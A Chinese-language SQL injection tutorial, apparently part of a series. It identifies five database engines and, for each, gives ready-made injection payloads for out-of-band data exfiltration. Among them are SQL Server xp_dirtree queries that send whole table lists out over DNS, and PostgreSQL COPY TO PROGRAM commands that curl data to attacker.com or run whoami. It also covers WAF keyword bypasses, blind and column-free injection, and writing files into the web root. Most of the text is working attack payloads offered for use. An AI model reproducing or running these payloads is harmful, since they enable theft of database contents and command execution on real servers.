前两篇的 payload 默认目标都是 MySQL。这一篇解决两个问题:换成别的数据库怎么写,以及完全看不到回显的时候怎么把数据带出来。
一、先确认打的是什么数据库
数据库类型决定了后面所有 payload 的写法,这一步不能跳。
1.1 从报错判断
最快的办法,前提是报错回显:
| 报错特征 | 数据库 |
|---|---|
You have an error in your SQL syntax | MySQL |
Unclosed quotation mark after the character string | SQL Server |
Microsoft OLE DB Provider for SQL Server | SQL Server |
ORA-01756、ORA-00933 | Oracle |
PostgreSQL、ERROR: syntax error at or near | PostgreSQL |
SQLite3::query()、near "..." : syntax error | SQLite |
报错里还经常直接带出版本号,连版本探测都省了。
1.2 从端口和组件判断
| 端口 | 服务 |
|---|---|
| 3306 | MySQL / MariaDB |
| 1433 | SQL Server |
| 1521 | Oracle |
| 5432 | PostgreSQL |
这个只在能扫内网或者看到连接串时有用。外网 Web 应用的数据库一般不开公网端口。
1.3 用探测 payload 判断
没有报错时,用每种数据库特有的写法去"点名":
-- MySQL:有 concat 函数、有 sleep、字符串用双引号也行
?id=1 and sleep(3)--+
?id=1 and concat('a','b')='ab'--+
-- SQL Server:有 waitfor、字符串拼接用 +
?id=1;waitfor delay '0:0:3'--+
?id=1 and 'a'+'b'='ab'--+
-- Oracle:字符串拼接用 ||,union 出来的 select 必须带 from dual
?id=1 and 'a'||'b'='ab'--+
?id=-1' union select 1,user,3 from dual--+
?id=1 and 1=dbms_pipe.receive_message(('a'),3)--+
-- PostgreSQL:有 pg_sleep
?id=1;select pg_sleep(3)--+
?id=1 and 'a'||'b'='ab'--+
-- SQLite:有 sqlite_version()
?id=1 and sqlite_version()>'1'--+
字符串拼接符是最好用的区分点:'a'+'b'='ab' 成立的是 SQL Server(数字加法),'a'||'b'='ab' 成立的是 Oracle、PostgreSQL 或 SQLite,只有 concat() 能用的是 MySQL。
from dual 是 Oracle 的强特征,但要注意它出现在哪:Oracle 不允许没有 FROM 的 select,所以只有在你要注入一整条新的 select 时才需要它,也就是 union 注入里必须写 from dual。像 and 'a'||'b'='ab' 这种挂在现有查询 WHERE 后面的条件,本身就在一条完整的查询里,不需要也不能加 from dual。
反过来说,如果你的 union payload 在 MySQL 上正常,换到 Oracle 就报 ORA-00923: FROM keyword not found where expected,那就是撞上 Oracle 了。
二、五种数据库的差异速查
2.1 语法差异
| 维度 | MySQL | SQL Server | Oracle | PostgreSQL | SQLite |
|---|---|---|---|---|---|
| 行注释 | -- (要空格)、# | -- | -- | -- | -- |
| 块注释 | /**/ | /**/ | /**/ | /**/ | /**/ |
| 字符串拼接 | concat() | + | || | || | || |
| 标识符引用 | `col` | [col] | "COL" | "col" | "col" |
| 分页 | limit 5,10 | top 10 / offset 5 rows fetch next 10 rows only | rownum<=10 / offset 5 rows fetch next 10 rows only | limit 10 offset 5 | limit 10 offset 5 |
| 堆叠查询 | 看驱动 | 支持 | 不支持 | 支持 | 支持 |
| 大小写 | Linux 下表名敏感 | 不敏感 | 标识符默认大写 | 不加引号折叠成小写 | 不敏感 |
| 虚表 | 不需要 | 不需要 | 必须 from dual | 不需要 | 不需要 |
Oracle 的大小写这条要特别注意:不加引号创建的列名会被转成大写,所以 where table_name='users' 在 Oracle 里查不到东西,得写 'USERS' 或者 upper('users')。
2.2 信息获取差异
| 想要的信息 | MySQL | SQL Server | Oracle | PostgreSQL | SQLite |
|---|---|---|---|---|---|
| 当前库 | database() | db_name() | ora_database_name | current_database() | 无库概念 |
| 当前用户 | user()、current_user() | system_user、suser_sname() | user | current_user | 无 |
| 版本 | version()、@@version | @@version | v$version、banner | version() | sqlite_version() |
| 主机名 | @@hostname | @@servername | utl_inaddr.get_host_name | 无 | 无 |
| 数据目录 | @@datadir | 无 | 无 | 无 | 无 |
| 表清单 | information_schema.tables | sysobjects / sys.tables | all_tables、user_tables | pg_tables、information_schema.tables | sqlite_master |
| 列清单 | information_schema.columns | syscolumns / information_schema.columns | all_tab_columns | information_schema.columns | sqlite_master.sql |
2.3 能力差异
| 能力 | MySQL | SQL Server | Oracle | PostgreSQL | SQLite |
|---|---|---|---|---|---|
| 延时 | sleep()、benchmark() | waitfor delay | dbms_pipe.receive_message、dbms_lock.sleep | pg_sleep() | 无原生,靠重查询 |
| 报错注入 | 函数很多 | convert/cast 类型转换 | utl_inaddr 等(多已限制) | cast 类型转换 | 基本没有 |
| 读文件 | load_file() | OPENROWSET(BULK) | utl_file | pg_read_file、COPY | 无 |
| 写文件 | into outfile/dumpfile | xp_cmdshell 等 | utl_file | COPY TO | 无 |
| 命令执行 | UDF | xp_cmdshell、sp_oacreate | Java 存储过程、dbms_scheduler | COPY TO PROGRAM | 无 |
| 默认高权账号 | root | sa | sys、system | postgres | 无 |
2.4 逐库的元数据查询
MySQL:
-- 所有库
select group_concat(schema_name) from information_schema.schemata--+
-- 当前库的表
select group_concat(table_name) from information_schema.tables where table_schema=database()--+
-- 指定表的列
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
SQL Server:
-- 所有库
select name from master..sysdatabases--+
-- 当前库的用户表
select name from sysobjects where xtype='U'--+
-- 指定库的表(跨库查询用 ..)
select name from 目标库..sysobjects where xtype='U'--+
-- 指定表的列
select name from syscolumns where id=object_id('users')--+
-- 把多行拼成一个字符串
select stuff((select ','+name from sysobjects where xtype='U' for xml path('')),1,1,'')--+
SQL Server 没有 group_concat,用 for xml path('') 拼接、stuff() 去掉开头的逗号,这是固定套路。
Oracle:
-- 当前用户能看到的表
select table_name from all_tables--+
-- 当前用户自己建的表
select table_name from user_tables--+
-- 带属主(区分同名表)
select owner||'.'||table_name from all_tables--+
-- 指定表的列
select column_name from all_tab_columns where table_name='USERS'--+
-- 版本
select banner from v$version where rownum=1--+
Oracle 没有 group_concat,用 listagg:
select listagg(table_name,',') within group (order by table_name) from user_tables--+
注意 listagg 是 11g R2 才有的,老版本要换 wm_concat。
PostgreSQL:
-- 所有库
select string_agg(datname,',') from pg_database--+
-- 当前库的表
select string_agg(tablename,',') from pg_tables where schemaname='public'--+
-- 列
select string_agg(column_name,',') from information_schema.columns where table_name='users'--+
-- 用户
select string_agg(usename,',') from pg_user--+
SQLite:
-- 所有表
select group_concat(name) from sqlite_master where type='table'--+
-- 建表语句,列名直接能看到
select sql from sqlite_master where type='table'--+
SQLite 里 sqlite_master.sql 存的是完整建表语句,一次就能拿到表结构和列名,比 MySQL 分两步查省事。
三、无回显时的分流
3.1 三个问题
遇到注入点但没有数据返回,按顺序问自己三个问题:
报错信息返回给用户了吗? 是 -> 报错注入
页面有真假两种稳定状态吗? 是 -> 布尔盲注
响应时间可控吗? 是 -> 时间盲注
数据库能发起对外网络请求吗? 是 -> 带外注入(OOB)
都不行 -> 写文件到 web 目录,或者放弃
"无回显"其实有三种不同的情况,处理方式不一样:
| 情况 | 特征 | 走哪条路 |
|---|---|---|
| 数据不回显,但报错回显 | 页面正常,加引号报 SQL 错误 | 报错注入 |
| 数据和报错都不回显,但有状态差异 | 真假时返回内容长度/状态码不同 | 布尔盲注 |
| 完全没有可见差异 | 真假响应一模一样 | 时间盲注 / OOB |
3.2 站库分离的影响
站库分离(Web 和数据库不在同一台机器)会改变两件事:
一是写文件没用。 into outfile '/var/www/html/shell.php' 写到的是数据库服务器的磁盘。如果数据库和 Web 不在一起,写进去的文件 web 访问不到,拿不到 shell。判断方法:读 @@hostname、@@datadir,和 web 服务器的主机名对比;或者写一个文件,再通过 web 访问试试。
二是 OOB 是从数据库服务器发出的。 DNSLog 收到的请求来自数据库那台机器,源 IP 是数据库的内网 IP。这反而有用——能确认数据库的内网地址,也能确认它能不能出网。
四、带外注入(OOB)
4.1 原理和前提
核心思路:不用 HTTP 响应当信道,改用数据库主动发起的网络请求。数据被拼进域名或者 URL 里,由我们控制的 DNS/HTTP 服务器接收。
前提有两个,缺一不可:
- 数据库服务器能出网(能解析外部域名、能访问外网)。
- 当前数据库账号有触发网络请求的权限,或者能用上某个会走网络的函数。
接收端用 DNSLog 平台就行:dnslog.cn、ceye.io、Burp Collaborator。收到记录就说明 payload 执行了,并且记录里的子域名就是你带出来的数据。
DNS 方式比 HTTP 好在哪:DNS 查询几乎不会被出网防火墙拦(很多环境只放行 DNS),而且不需要数据库装任何扩展。
4.2 MySQL
MySQL 的 OOB 走 load_file() 读 UNC 路径,本质上是用 SMB 协议去访问远程共享,Windows 在解析主机名时会产生 DNS 查询。
?id=1' and load_file(concat('\\\\',(select database()),'.dnslog.cn\\a'))--+
?id=1' and load_file(concat('\\\\',(select hex(user())),'.dnslog.cn\\a'))--+
\\\\ 在 MySQL 字符串里经过一次转义后是 \\,加上后面拼的内容,最终形成 \\security.dnslog.cn\a 这样的 UNC 路径。
三个前提,缺一个都不行:
- 必须是 Windows。UNC 路径是 Windows 的东西,Linux 上的 MySQL 不支持,这条路直接断。
- 有
FILE权限。没有就别想。 secure_file_priv允许。先查:
?id=1' and (select @@secure_file_priv)--+
三种取值:空字符串表示不限制;具体路径表示只能操作该目录下的文件;NULL 表示完全禁用文件读写。只有空字符串时 load_file 才能读任意路径,是具体路径的话就出不去。
如果这三条满足不了,MySQL 在 Linux 上基本没有可用的 OOB,只能退回盲注,或者如果能写文件就写到 web 目录(这属于写 shell,不是 OOB)。
4.3 SQL Server
这是题目里专门问的部分。SQL Server 的 OOB 比 MySQL 好用得多,原因是 xp_dirtree 之类的扩展存储过程默认对普通用户开放,不需要 sysadmin。
主力手法 xp_dirtree:
?id=1;declare @q varchar(200);set @q='\\'+(select db_name())+'.dnslog.cn\a';exec master..xp_dirtree @q--+
?id=1';exec master..xp_dirtree '\\test.dnslog.cn\a'--+
xp_dirtree 的作用是列出一个目录下的子目录,参数是 UNC 路径时它会去解析主机名,从而触发 DNS 查询。数据拼在主机名的最前面,DNSLog 上就能看到 security.dnslog.cn 这条记录。
注意 T-SQL 里反斜杠不是转义字符,所以直接写 '\\' 就是两个反斜杠,不用像 MySQL 那样写四个,这是很多人第一次写错的地方。
xp_fileexist 和 xp_subdirs 同理:
?id=1';exec master..xp_fileexist '\\test.dnslog.cn\a'--+
?id=1';exec master..xp_subdirs '\\test.dnslog.cn\a'--+
没有堆叠注入怎么办。 上面几条都依赖 ; 堆叠,因为 exec 不能写在表达式里。如果目标只允许联合或条件注入,改用 OPENROWSET(BULK):
?id=1 and 1=(select 1 from openrowset(bulk '\\test.dnslog.cn\a',single_clob) as a)--+
?id=-1' union select 1,(select top 1 bulkcolumn from openrowset(bulk '\\test.dnslog.cn\a',single_clob) as a),3--+
OPENROWSET(BULK ...) 需要开启即席查询:
?id=1';exec sp_configure 'show advanced options',1;reconfigure--+
?id=1';exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure--+
把数据带出去的完整写法(一次性带多行):
?id=1;declare @q varchar(200);select @q='\\'+(select stuff((select '.'+name from sysobjects where xtype='U' for xml path('')),1,1,''))+'.dnslog.cn\a';exec master..xp_dirtree @q--+
表名用 . 连接后拼进域名,DNSLog 上看到的那一长串就是所有表名。这就是 MSSQL 无回显的标准解法——不需要回显、不需要报错、一次请求带出一批数据。
顺便说一句,xp_dirtree 还能用来做 SMB 中继攻击(让数据库去连我们控制的 SMB 服务器,抓 NTLM hash),那是另一个方向,不在这里展开。
4.4 Oracle
Oracle 走 HTTP 居多:
?id=1' and 1=utl_http.request('http://dnslog.cn/'||(select user from dual))--+
?id=1' and 1=utl_inaddr.get_host_address((select user from dual)||'.dnslog.cn')--+
?id=1' and 1=httpuritype('http://'||(select user from dual)||'.dnslog.cn').getclob()--+
前提比较苛刻:
- 需要
UTL_HTTP/UTL_INADDR的EXECUTE权限。Oracle 11g 之后这两个包的权限默认从PUBLIC收回,没授权就是用不了。 - Oracle 11g 引入了网络访问控制(ACL),即使有
EXECUTE权限,还要在DBA_NETWORK_ACLS里给这个数据库用户放行目标主机,否则报ORA-24247: network access denied by access control list。
所以实战里 Oracle 的 OOB 成功率不高。遇到 Oracle 优先考虑:能出网且 ACL 放行才用 OOB,否则老老实实做布尔或时间盲注。
4.5 PostgreSQL
PostgreSQL 的 OOB 靠 COPY ... TO PROGRAM,它会把查询结果送到一个外部程序的 stdin。这个特性非常顺手,可以直接把数据 POST 出去:
?id=1';copy (select current_database()) to program 'curl -X POST --data-binary @- http://attacker.com/collect'--+
?id=1';copy (select string_agg(tablename,',') from pg_tables where schemaname='public') to program 'curl -X POST --data-binary @- http://attacker.com/collect'--+
--data-binary @- 让 curl 从 stdin 读请求体,而 stdin 正好是 COPY 送过来的查询结果。一次请求直接把整批数据 POST 到我们的服务器,比 DNS 一次只能带一个域名的效率高得多。
DNS 版本:
?id=1';copy (select '') to program 'nslookup `whoami`.dnslog.cn'--+
反引号是 shell 的命令替换,会在数据库服务器上执行 whoami 并把结果拼进域名。
前提:需要超级用户,或者 PostgreSQL 11+ 里的 pg_execute_server_program 角色。另外 dblink 扩展也能用来触发外连:
?id=1';select * from dblink('host=attacker.com dbname=x user=x password=x','select 1')--+
连接失败不要紧,重要的是它尝试连接这件事本身,DNS 查询已经发出去了。
4.6 出不了网的替代方案
数据库能出网是运气,出不了网是常态。这时候还有几条路:
写入 web 目录。 不是 OOB,但效果类似——把数据写成一个文件,再通过浏览器访问读出来。
?id=1' union select 1,(select database()),3 into outfile '/var/www/html/out.txt'--+
前提是知道 web 绝对路径、有 FILE 权限、secure_file_priv 允许、目录可写。
写进数据库表再换个地方读。 如果站内有另一个有回显的注入点,或者有用户可编辑的字段,可以把数据写进去再从别处读。适用于同一套数据库有多个入口的场景。
侧信道。 实际上就是时间盲注,只是把"一位一位猜"换成"用响应时间传多位"(比如用不同的延时长度编码不同的值)。请求数能降一些,但本质没变。
大小写/状态码侧信道。 少数场景下,可以让数据库根据数据内容返回不同的 HTTP 状态码(比如查询结果为空时应用返回 404),这就变成了布尔信道。
五、场景题
Q1:sleep 被过滤了,时间盲注还能做吗
能。MySQL 至少有三种延时手段,sleep 只是最方便的那个:
-- benchmark 替代
?id=1 and if(1=1,benchmark(5000000,md5(1)),0)--+
-- 笛卡尔积重查询替代,完全不出现 sleep、benchmark 这些关键字
?id=1' and if(ascii(substr(database(),1,1))>100,(select count(*) from information_schema.columns a,information_schema.columns b,information_schema.columns c),1)--+
-- GET_LOCK 制造锁等待
?id=1 and if(1=1,get_lock('a',5),0)--+
笛卡尔积那条最值得记住:它就是一条普通的 count(*),WAF 规则里没有理由拦它,但三个 information_schema.columns 相乘是千万级,跑起来就是好几秒。
GET_LOCK 那条要说清楚它的机制,否则第一次用会以为失效:GET_LOCK('a',5) 的行为是"锁被别人占着就等最多 5 秒",锁没人占时它会立刻返回。所以单次请求里直接调它根本不延时。要让它产生等待,得让同一个数据库连接在之前的某个请求里已经拿到了 a 这把锁并且没释放——GET_LOCK 的锁在连接关闭前一直有效,而应用用了连接池的话连接不会关,这个前提就成立了。换句话说这条路依赖连接池,不是所有目标都能用,把它当备选而不是首选。
benchmark 和重查询的具体耗时随机器性能变化,用之前先在目标上标定一次。
Q2:知道库名,但 information_schema 被 WAF 拦了
MySQL 里有几个替代的元数据表,很多人不知道:
-- innodb_table_stats:InnoDB 自带的表统计信息
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())))--+
-- sys.schema_table_statistics(MySQL 5.7+)
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from sys.schema_table_statistics)))--+
-- sys.schema_auto_increment_columns:只列有自增列的表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from sys.schema_auto_increment_columns)))--+
这几个表名里没有 information_schema 这个关键字,绕过了基于关键词的规则。
information_schema 本身也可以用内联注释、大小写、反引号绕:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from /*!50000information_schema*/.tables where table_schema=database())))--+
Q3:表名和列名都拿不到,但能确定数据在哪张表
无列名注入。原理是利用派生表的列名由第一个 select 决定这一点:
select `2` from (select 1,2,3 union select * from users)a
(select 1,2,3 union select * from users)a 这个派生表的列名不是 users 的列名,而是第一个 select 里写的 1、2、3。所以外层用 `2` 就能取到 users 的第二列,完全不需要知道列名。
套进注入点:
?id=-1' union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 0,1),3--+
?id=-1' union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 1,1),3--+
内层 select 1,2,3 的列数必须和 users 的列数一致,对不上会报列数不同。不确定列数时先试 select 1,2、select 1,2,3,4 逐个试。
列名里的数字要用反引号包起来,因为纯数字不能直接当标识符。
Q4:回显被截断了
三种处理:
-- 分段取
?id=-1' union select 1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),3--+
-- 先转十六进制再取,避免特殊字符破坏传输
?id=-1' union select 1,hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),3--+
-- 从后往前取,确认末尾内容
?id=-1' union select 1,reverse(substr(reverse((select group_concat(table_name) from information_schema.tables where table_schema=database())),1,50)),3--+
先取总长度再决定分几段,避免漏字符。
Q5:目标不出网,也没有文件写权限
那就只剩盲注。这时候优化方向不是"换信道",而是"降请求数":
- 用
regexp一次判断多个字符(第二篇 4.4)。 - 用
group_concat一次取多行,把几百次请求压到几十次。 - 并发请求,注意别把目标打挂。
- 二分的边界收窄:先确定字符集范围(比如先判断是数字还是字母),再二分。
Q6:怎么判断一个注入点是不是站库分离
?id=1' and extractvalue(1,concat(0x7e,@@hostname))--+
?id=1' and extractvalue(1,concat(0x7e,@@datadir))--+
拿到数据库的主机名和数据目录,和 web 服务器的信息对比。@@datadir 显示的路径格式也能反推操作系统(C:\... 是 Windows,/var/lib/mysql/ 是 Linux),这对判断能不能用 UNC 做 OOB 很关键。
Q7:所有常见关键字都被拦了
先确认不是误判——有时候"被拦"只是页面返回了统一错误页,实际注入是成立的,用布尔对比验证一下。
真的被拦,按这个顺序试:大小写混合、内联注释 /*!50000...*/、等价函数替换(substr→mid→left,ascii→ord,=→like/between/regexp)、编码(URL 双重编码、十六进制)、分块传输。第三篇讲 WAF,这些手法在第六篇会逐条展开。
Q8:怎么确认 OOB 真的执行了,而不是 DNSLog 抽风
DNSLog 上出现记录,只能说明有人发起了这次解析。要确认是目标数据库发的,看两点:
- 记录的时间点和你发请求的时间是否对得上。
- 子域名里带的数据是否符合预期。比如你拼的是
(select database()),收到的是security.dnslog.cn,那基本可以确认。
如果想让证据更硬,把数据换成随机串再发一次,看收到的子域名是不是同一个随机串:
?id=1';exec master..xp_dirtree '\\a7f3k9.dnslog.cn\a'--+
收到 a7f3k9.dnslog.cn 就板上钉钉了。
下一篇进入提权:MySQL 的 UDF 和 MOF 提权、UDF 传不上去 dll 时的几条替代路径、--os-shell 的利用条件、SQL Server 写 webshell 的几种手法,最后是拿到低权 shell 之后怎么往系统权限走。